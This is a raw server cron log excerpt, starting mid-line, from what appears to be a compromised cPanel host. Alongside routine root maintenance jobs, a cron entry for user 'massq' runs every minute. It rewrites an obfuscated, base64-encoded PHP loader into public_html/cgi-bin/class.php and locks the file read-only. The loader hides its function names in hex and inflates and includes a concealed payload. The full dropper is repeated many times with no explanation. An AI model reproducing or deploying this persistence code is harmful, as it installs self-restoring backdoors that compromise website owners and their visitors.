jm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:32:01 server CROND[32653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:32:01 server CROND[32654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:32:01 server CROND[32655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:33:01 server CROND[589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:33:01 server CROND[590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:33:01 server CROND[591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:34:01 server CROND[1011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:34:01 server CROND[1012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:34:01 server CROND[1013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:35:01 server CROND[1602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:35:01 server CROND[1604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:35:01 server CROND[1605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:35:01 server CROND[1607]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 08:35:01 server CROND[1606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:35:01 server CROND[1608]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:35:01 server CROND[1612]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:35:01 server CROND[1609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:35:01 server CROND[1610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:36:01 server CROND[2592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:36:01 server CROND[2594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:36:01 server CROND[2595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:37:01 server CROND[2997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:37:01 server CROND[2998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:37:01 server CROND[2999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:38:01 server CROND[3397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:38:01 server CROND[3396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:38:01 server CROND[3398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:39:01 server CROND[3779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:39:01 server CROND[3780]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 08:39:01 server CROND[3782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:39:01 server CROND[3781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:40:01 server CROND[4183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:40:01 server CROND[4184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:40:01 server CROND[4188]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:40:01 server CROND[4189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:40:01 server CROND[4191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:40:01 server CROND[4190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:40:01 server CROND[4192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:40:01 server CROND[4195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:41:01 server CROND[5080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:41:01 server CROND[5081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:41:01 server CROND[5082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:42:01 server CROND[5565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:42:01 server CROND[5567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:42:01 server CROND[5566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:42:01 server CROND[5568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:43:01 server CROND[5951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:43:01 server CROND[5952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
